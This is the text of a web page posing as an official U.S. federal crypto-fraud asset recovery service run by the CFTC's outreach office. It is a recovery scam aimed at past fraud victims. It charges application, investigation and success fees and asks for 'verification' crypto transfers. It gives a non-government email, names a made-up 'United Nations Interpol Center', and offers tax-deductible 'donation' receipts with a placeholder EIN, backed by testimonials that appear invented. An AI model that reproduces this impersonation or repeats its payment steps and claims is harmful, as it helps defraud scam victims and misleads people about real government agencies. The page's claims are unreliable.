U.S. Federal Anti-Fraud Asset Recovery | Official Government Website
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U.S. Federal Anti-Fraud Asset Recovery

In Fiscal Year 2023, the U.S. Federal Government deployed advanced data analytics and intelligence methods to identify and recover over $3.7 billion in fraudulent digital assets. For official announcements and detailed recovery statistics, please visit our Treasury Press Releases.

This website is an official Federal resource dedicated to ensuring prompt and equitable restitution for affected individuals. All recovery procedures comply with applicable Federal law and regulatory oversight. For further guidance, please refer to CFTC Regulatory Guidance.

IMPORTANT OFFICIAL NOTICE

CFTC （OCEO） does not directly charge any government service fees. However, certain asset recovery steps may require payment to third parties: blockchain network “gas” fees, legal/court costs, or minimal verification transfers (up to $5) to confirm wallet ownership. Any amounts exceeding $250 can qualify as voluntary charitable contributions under IRS regulations (IRC §501(c)(3)).

Always verify official notices through the CFTC website if you suspect any fraudulent communication.

Global Partners & Initiatives

While the U.S. Federal Anti-Fraud Asset Recovery initiative does not charge any government fees, in certain situations individuals may elect to engage third-party organizations for specialized recovery assistance. One such global partner is detailed below:

United Nations Interpol Center

The United Nations Interpol Center is an independent international organization offering extended fraud recovery services, such as cross-border negotiation and litigation. They operate worldwide under a fee-based model.

If you believe additional legal or specialized services are needed beyond the free U.S. government resources, you may wish to contact them:

Disclaimer: The United Nations Interpol Center is not affiliated with the U.S. Federal Government. Any fees or services provided by this organization are under their sole responsibility and contractual terms. Please review all terms and fees carefully before proceeding.

Office of Customer Education and Outreach (OCEO) Senior Staff

The Office of Customer Education and Outreach was created to combat fraud, and to give people the tools to watch out for fraudulent activity. The office is responsible for helping individuals spot, avoid, and report fraud.

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Melanie T. Devoe

Director, Customer Outreach

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Dan Rutherford

Associate Director, Customer Outreach

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Lynda F. Williams

Chief Customer Risk Officer

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Gloria Clement

Senior Special Counsel

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Match Recovery Funds

Overview: Access authoritative resources to identify and match victims’ lost crypto assets with federally secured, recovered funds.

Whistleblower Program

The Whistleblower Office strongly advises submitting all relevant forms through this site’s online portal and by email (whistleblower@cftc.gov). For tips unrelated to crypto fraud, please visit Whistleblower.gov.

Submit a Whistleblower Tip

Cryptocurrency Transaction Tracker & Investigation

Official Notice: This tool is an official Federal resource. Enter a valid digital wallet address to retrieve detailed transaction data and view an interactive 3D visualization. Data must be cross-referenced with Federal reports.

Please enter a valid wallet address.
Time Transaction ID From To Amount Status Fee Risk Label

Address Profile & Risk Score

Disclaimer: Preliminary Federal metric for evaluative purposes only.

Investigation Report

Official Notice: Reflects asset transaction data under Federal custody. Preliminary analysis only.

Official Query & Recoverable Funds Plan

This official service enables verification of asset status under Federal custody and provides a comprehensive feasibility assessment for asset restitution. All processes are conducted in strict adherence to Federal law and regulatory guidance.

1. Preliminary Query & Official Report
  • Scope: Comprehensive search of Federal databases to match recovered illicit funds with reported losses, cross-referencing wallet addresses, transaction IDs, and applicant data.
  • Outcome:
    • An "Asset Confirmation Notice" is issued upon verification of matching records.
    • A "Feasibility Report" is provided if no matching records are found.
  • Official Report: Officially signed and sealed documents available upon request for Federal verification.
  • Fee: A non‑refundable Preliminary Query Fee of $200 is applicable.
  • Timeframe: Processing typically requires 7–14 business days.
  • Disclaimer: The report reflects the status of assets currently under Federal custody only.
2. Recovery Plan & Verification Process
  • Scope:
    • Confirmed Holdings: Official Recovery Plans for assets already secured by Federal agencies.
    • No Holdings Found: Detailed investigative blueprints using advanced blockchain analytics.
  • Outcome:
    • Step‑by‑step Federal guidance for asset claims.
    • Supplementary investigations for additional unaccounted funds.
  • Fee Structure:
    • Verification Fee: $300
    • Success Fee: 5% of the recovered amount
    • Additional Charges: May include court filings, attorney fees, and network costs.
  • Legal & Compliance: All processes adhere to Title 31 U.S.C., Anti‑Money Laundering (AML)/Know Your Customer (KYC) requirements, and other applicable Federal statutes.
  • Disclaimer: Recovery is subject to Federal procedures and third‑party cooperation; absolute recovery cannot be guaranteed.
3. Additional Official Statements

Refund & Upgrade Policy:
Fees are ordinarily non-refundable post-initiation of the process. If the case extends beyond the original plan scope, an upgraded fee arrangement may be required.


Partial or Ongoing Disbursements:
If a fraction of the claimant’s funds is identified, restitution is made for that fraction, net of fees. Additional steps may be undertaken to locate further unaccounted assets.

Updated Fee Table

Fee Items Conditions for Collection Description Amount/Rate Refundable
Application / Registration Fee
(Application Fee)		 Incurred at initial submission Administrative & management costs $100 (one-time) Non-refundable
Investigation / Processing Fee
(Investigation Fee)		 Upon commencement of blockchain analysis Covers investigative tools and labor $300 (one-time) Partially refundable ($150 if in-depth analysis is infeasible)
Success Commission
(Success Fee)		 After successful recovery Applies to subsequent resources required for finalization 5%–10% of recovered amount N/A
Blockchain Network Fee
(Network/Gas Fees)		 When on-chain operations are executed Gas fees (variable in real time) Varies Non-refundable
Legal Services / Attorney Fees
(Legal Services)		 Applicable if court involvement is required Case-by-case or hourly billing Varies Not billed if not utilized

OFFICIAL NOTICE: All submissions must originate from an address verifiably associated with the applicant, in strict accordance with Federal anti‑fraud protocols. Non‑compliance may result in delays or rejection.

Relevant Federal Regulations and Guidelines:

Tracing the Origin on Blockchain

OFFICIAL NOTICE: The Federal Asset Recovery Service, operating under strict federal oversight, provides assistance to individuals seeking to verify whether fraudulently acquired cryptocurrency assets have been recovered by the government.

To facilitate verification, affected individuals may initiate a minimal authentication transfer—not exceeding $5 in cryptocurrency—from the compromised wallet to the designated verification address. This process enables expedited identification and matching with federally recovered fraud restitution funds.

For official verification and further inquiries, please contact gov@afconorthamerica.com.

This procedure is conducted in full compliance with federal regulations and rigorous legal protocols, ensuring transparency, accountability, and security in the asset recovery process.

1. Submit Personal and Transaction Information

To initiate the Federal asset recovery process, please provide the following information (all data will be handled in strict confidentiality):

  • Full Name: As appears on official government-issued identification.
  • Contact Number: For secure SMS updates and communication.
  • Email Address: For official notifications and correspondence.
  • Transaction Details:
    • Transaction ID (TxID): Detailed identifier from an authorized blockchain explorer.
    • ERC-20 Token Type/Amount: Such as USDT or USDC, with exact figures.
    • Source and Destination Addresses: Provide both the erroneous and intended wallet addresses.
2. Identity Verification

Following these steps ensures your identity and wallet address are legitimate:

  • Verification Transfer:
    • Access an approved exchange or wallet service (e.g., Coinbase, Binance).
    • Acquire a nominal amount of cryptocurrency (≤ $5) and send it to the designated federal verification address.
  • Confirmation Notice: A confirmation email is dispatched upon successful verification. If the verification fails, a resubmission may be required.
3. Rationale for Sending Cryptocurrency

Validate Wallet Ownership

  • Ensures the applicant legitimately controls the destination wallet address.
  • Mitigates fraudulent attempts by verifying transaction authenticity.

Assess Operational Aptitude

  • Verifies the applicant’s fundamental blockchain skills.
  • Reduces potential addressing or contract-compatibility errors.

Strengthen Compliance and Security (AML/KYC)

  • Applies multi-factor verification to prevent unauthorized requests.
  • Deters spam or bot applications by enforcing a small, verifiable transaction.

Align with Technical Standards

  • Confirms blockchain network compatibility.
  • Identifies potential contract misconfigurations early.
4. How We Recover Assets
  • Trace the path of compromised cryptocurrency using advanced analytics tools.
  • Establish the current holding address of the assets.
  • Transfer recovered tokens to a monitored federal intermediary wallet for further validation.
5. Asset Tracking Procedures

We adhere to rigorous Federal standards to guarantee security and transparency:

Utilization of Professional Blockchain Analysis

Platforms like Chainalysis, TRM Labs, Elliptic, and CipherTrace.

Tracing Illicit Crypto Flows

  • Collect and verify transaction data, including TxIDs.
  • Mark addresses and identify any suspicious or blacklisted addresses.

Confirm Holding Addresses

  • Survey recent transactions and possible suspicious activity.
  • Coordinate with exchanges when necessary to freeze illicit funds.

Recovery and Federal Custody

  • Implement lawful processes to retrieve or freeze identified assets.
  • Safeguard assets in a Federal intermediary wallet pending final verification.
6. Transfer of Funds to the User
  • Once verification concludes, recovered funds are dispatched to the user’s verified wallet, net of applicable fees.
  • The user receives:
    • A successful transfer notification.
    • A transaction hash (TxID) for independent verification via any blockchain explorer.
7. Fee Settlement and Completion

Fee Structure

  • Service Fee: 5% if recovered value > $100.
  • Network (Gas) Fees: Deducted from Ethereum or other network balances.

Transparency and Compliance

  • Applicants must prepay a minimal administrative fee.
  • A final bill enumerating all charges will be provided upon completion.

Completion Notice

  • Includes an official statement of the recovered amount, fees applied, and relevant TxIDs.
8. Potential Tax Benefits

Donations may qualify as allowable charitable contributions under IRS regulations...

  • Under $250: Bank statements or transaction records suffice.
  • $250 or above: An official receipt is required.
  • Non-cash donations: Must include a valuation statement.
  • Crypto donations: Must outline the USD value at the time of donation.
9. Important Notices and Legal Disclaimer

Scope of Application

  • Services apply solely to specified ERC-20 tokens and networks.

Processing Times

  • Unforeseen delays may arise from network congestion.
  • No guarantee of full recovery, but best efforts are provided.

Legal Liability

  • Applicants must ensure the accuracy of provided data.
  • No liability is assumed for user errors or external disruptions.

Donation & Verification

Security Note: All donations and verification steps occur under Federal supervision to ensure compliance and confirm user identity and wallet ownership.

Tax & Compliance: Donations exceeding $250 will receive a receipt in accordance with Section 501(c)(3) of the Internal Revenue Code. This receipt may be used for tax deduction purposes and potential IRS audits.

For donations exceeding $250, an official receipt will be provided for IRS and Federal record compliance.

U.S. Federal Anti-Fraud Operations

IRS Tax-Deductible Donation Receipt

This official receipt confirms your donation to support our ongoing asset recovery initiatives in strict compliance with Federal and IRS regulations.

Receipt Number: REC-20250119-1234

Amount Donated: $500

Date of Donation: January 19, 2025

Donation Method: Cryptocurrency

Cryptocurrency Name: Bitcoin (BTC)

Cryptocurrency Amount: 0.01 BTC

Wallet Address: bc1q2w8ssfud2...

Tax Compliance Statement:

This receipt confirms that U.S. Federal Anti-Fraud Operations is recognized as a qualified entity under Section 501(c)(3) of the Internal Revenue Code (EIN: 12-3456789). For official verification, please refer to the IRS Exempt Organization Search.

No services or goods were exchanged in return for this donation; this receipt is issued solely for compliance purposes.

For further inquiries, please contact: support@usa.gov

Verification: Please visit www.usa.gov/verify-receipt and enter your receipt number for confirmation.

Disclaimer: This receipt is issued solely for Federal recordkeeping purposes and does not constitute a guarantee beyond Federal regulatory compliance.

Privacy Notice: All donor data is handled in strict adherence to Federal privacy standards. For details, please review our Privacy Policy.

Official Advice from Recovery Successes: Asset Protection Made Clear

In accordance with Federal transparency and accountability standards, this website periodically selects a representative sample of victims whose assets have been successfully recovered through official Federal efforts. These verified testimonials are published for informational purposes only.

Recovered Asset Case 1 (Case No. FTC-2023-00001)
“I still remember the thrill of seeing returns from that so‑called ‘investment.’ Then withdrawals stopped. They told me to ‘invest more’ to unlock funds...
ID Verification Process Screenshots Acknowledgment

Full Testimony: “I still remember the thrill I felt when I first saw the returns from that so-called ‘investment’—it was like a dream come true. But then, as quickly as it started, the withdrawals stopped. They kept telling me to ‘invest a little more’ to unlock my funds, and I believed them, desperately hoping to fix the situation. Eventually, it hit me: I had been conned. I was angry at them, but mostly, I was angry at myself. I didn’t know who to trust anymore. When I found a resource about recovering funds, I was skeptical. I thought, ‘This can’t be real. I’ve been scammed once; am I really going to open myself up to that again?’ But I decided to give it a shot. Over time, as they kept me informed, my skepticism began to soften. And then one day, I saw my account balance—it was real. The funds I’d thought were gone forever were back. I felt like I was finally waking up from a nightmare.”

Step 1: Filing official complaint & verification. (Approx. 2 weeks)
Step 2: Investigative follow-up & freeze of suspect accounts.
Used advanced blockchain analytics to locate assets through Chainalysis.
Step 3: Confirmation & partial fund recovery.
Reached out to major exchanges, successfully froze identified addresses.
Step 4: Final settlement & disbursement to rightful owner.
Processed official disbursement per Title 17, Part 12 guidelines.
Recovered Asset Case 2 (Case No. FTC-2023-00002)
"The feeling of being duped left me isolated. I kept it a secret, even from my family...
Proof of ID Recovery Screenshots Acknowledgment

Full Testimony: "The feeling of being duped left me feeling foolish and isolated. I kept it a secret, even from my family. I thought, ‘How could I have been so naïve?’ For weeks, I avoided thinking about it, hoping it would just go away. But every time I checked my account and saw the zero balance, the shame would come flooding back. I stumbled across information about possible fund recovery and hesitated. I’d already been burned once, so the idea of trusting anyone else felt impossible. But eventually, I took the chance. It wasn’t instant—there were updates, steps, more waiting. And then came the moment I’d never expected: a notification that my funds were back. For the first time in months, I felt a weight lift off my shoulders. I’d gotten back what I thought was lost forever."

Step 1: Reporting scam to the Federal Anti-Fraud Office (Approx. 1 week).
Step 2: Submitting supporting documents & transaction logs.
Step 3: Collaboration with relevant exchanges for asset hold. (Took an additional 2 weeks.)
Step 4: Successful asset retrieval & handover. Official chain-of-custody completed.
Recovered Asset Case 3 (Case No. FTC-2023-00003)
"At first, the investment promised extraordinary returns. Then communication stopped...
Verification Process Screenshots Final Confirmation

Full Testimony: "The promises seemed too good to be true from the beginning, but the returns were so enticing. At first, everything seemed legitimate—regular updates, friendly support, and then, suddenly, silence. I tried contacting them, but the answers were vague, and then nothing. I felt like I’d lost control, like everything was slipping through my fingers. When I read about recovery options, I didn’t get my hopes up. I thought, ‘There’s no way I’ll actually get my money back.’ But after a while, I decided I had nothing left to lose. The process was gradual, with ups and downs. I’d go from thinking, ‘Maybe this will work,’ to ‘I’m wasting my time.’ But the day I saw those funds back in my account, I was stunned. I kept refreshing the page, thinking it was a glitch. It wasn’t. It was the closure I desperately needed after months of regret and self-doubt."

Step 1: Identifying the fraudulent investment channel.
Step 2: Official requests to freeze suspicious wallets (Used TRM Labs for deeper tracking).
Step 3: Coordination with law enforcement for forensic tracing.
Step 4: Asset consolidation & return. Official handover and final restitution notice.
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Privacy Policies & FOIA Request Guidelines

This website and all user data collected herein operate in full compliance with relevant U.S. Federal laws and regulations, including but not limited to the Freedom of Information Act (5 U.S.C. § 552) and the Privacy Act of 1974 (5 U.S.C. § 552a). All content, notices, and policies reflect the official website policies and notices of the U.S. Federal Government as documented at usa.gov/website-policies-and-notices.

Our agency is committed to protecting user privacy and providing clear guidelines for accessing public records under FOIA. Below are key topics related to privacy, security, and data requests:

Privacy Act Compliance

We adhere to the Privacy Act of 1974, which mandates strict controls over the collection, maintenance, use, and dissemination of personally identifiable information (PII). Data collected is used solely for authorized law enforcement or administrative purposes.

For additional details on how your personal information is safeguarded, consult our Privacy Policy.

Information Security Measures
  • Encrypted communication channels (HTTPS/TLS 1.2 or higher)
  • Multi-factor authentication for authorized personnel
  • Regular security audits in compliance with federal standards (e.g., FISMA)
FOIA Requests

Under 5 U.S.C. § 552, you have the right to request disclosure of federal agency records or information. You may submit a request through our official FOIA portal or in writing, specifying the records sought. Certain information may be redacted or withheld under legal exemptions (e.g., national security, personal privacy).

Data Retention

In accordance with federal records management policies, all user-submitted or automatically collected information is retained for the minimum period necessary to fulfill the purpose for which it was collected, after which it is securely archived or destroyed.

Refer to the official website policies for additional information on record schedules and disposal authorities.

Note: All content on this webpage is maintained in accordance with USA.gov’s official policies and notices. By using this site, you consent to the described data practices.

U.S. Anti-Fraud Center (OCEO)

Official Identity Information Submission (For Federal Use Only):

Section 2: Platform Information

Section 3: Transaction Details

Section 4: Description of Complaint

Section 5: Additional Information

Additional Relevant Documents Provided:

Please attach or forward payment confirmation for official acceptance of your submission.

Declaration: I declare that the information is accurate and complete.

OCEO Headquarters

Three Lafayette Centre
1155 21st Street, NW
Washington, DC 20581
202.418.5000

Email: gov@afconorthamerica.com

Important Links

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